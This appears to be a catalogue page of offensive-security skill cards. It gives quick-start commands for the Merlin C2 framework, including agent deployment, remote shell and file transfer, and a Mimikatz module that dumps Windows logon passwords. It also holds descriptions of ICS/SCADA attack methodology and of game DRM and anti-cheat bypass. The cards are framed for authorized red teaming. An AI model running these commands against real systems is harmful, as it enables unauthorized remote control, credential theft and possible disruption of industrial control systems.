Merlin
Cross-platform C2 using HTTP/2 and HTTP/3 (QUIC) — Go server + multi-OS agent.
Quick Start
# Download from https://github.com/Ne0nd0g/merlin/releases
# Start server (HTTPS/HTTP2 on 443)
./merlinServer-Linux-x64 -i 0.0.0.0 -p 443 -x509cert server.crt -x509key server.key
# Generate agent
./merlinAgent-Linux-x64 -url https://C2:443/ -psk "passphrase"
Server Commands
| Command | Purpose |
|---------|---------|
| sessions | List connected agents |
| interact <UUID> | Enter agent session |
| use module <path> | Load a module |
| upload <src> <dst> | Upload file to agent |
| download <src> | Download from agent |
| shell <cmd> | Run OS command |
| exit | Terminate agent |
Common Workflows
HTTP/3 QUIC listener:
./merlinServer-Linux-x64 -proto h3 -i 0.0.0.0 -p 8443
./merlinAgent-Windows-x64.exe -url https://C2:8443/ -proto h3 -psk "passphrase"
Mimikatz via Merlin module:
interact <UUID>
use module windows/credentials/mimikatz/logonpasswords
run

Offensive methodology for ICS/OT/SCADA environments in authorized industrial penetration testing and red team operations. Use when assessing PLCs, RTUs, HMIs, engineering workstations, historians, or field devices running Modbus, DNP3, EtherNet/IP, S7comm/S7+, Profinet, IEC 60870-5-104, BACnet, or OPC-UA. Covers passive OT network enumeration, protocol-level device interrogation, PLC coil/register read-write attacks, HMI session exploitation, historian and engineering workstation compromise, and safe escalation rules for critical infrastructure scope. Does not cover: general IT network exploitation (network-technique), physical hardware interfaces UART/JTAG/SPI (hardware-technique), wireless sensor network attacks (wireless-technique), RF/SDR signal analysis (hardware-ctf or wireless-technique), or CTF-framed ICS lab tasks (ics-ctf).

VerifiedTrustedCommunity
Offensive methodology for authorized game security assessments, game client security research, and game-adjacent penetration testing in real-world engagements. Use when assessing game clients for cheating vulnerabilities, testing anti-cheat effectiveness, auditing game server protocols for score manipulation or economic fraud, reverse engineering game DRM or license validation, analyzing game save file protection, or assessing game mod/plugin security. Covers: process memory scanning and manipulation (Cheat Engine methodology), game binary reversing for license and DRM bypass, game network protocol analysis and packet replay, anti-cheat mechanism analysis, save file format reversing and tampering, speed hack and value injection techniques. Does NOT cover: CTF game challenges (game-ctf), game engine source code auditing (web-exploit-technique or vuln-search-technique for the backend), or general binary exploitation (pwn-ctf or reversing-technique).
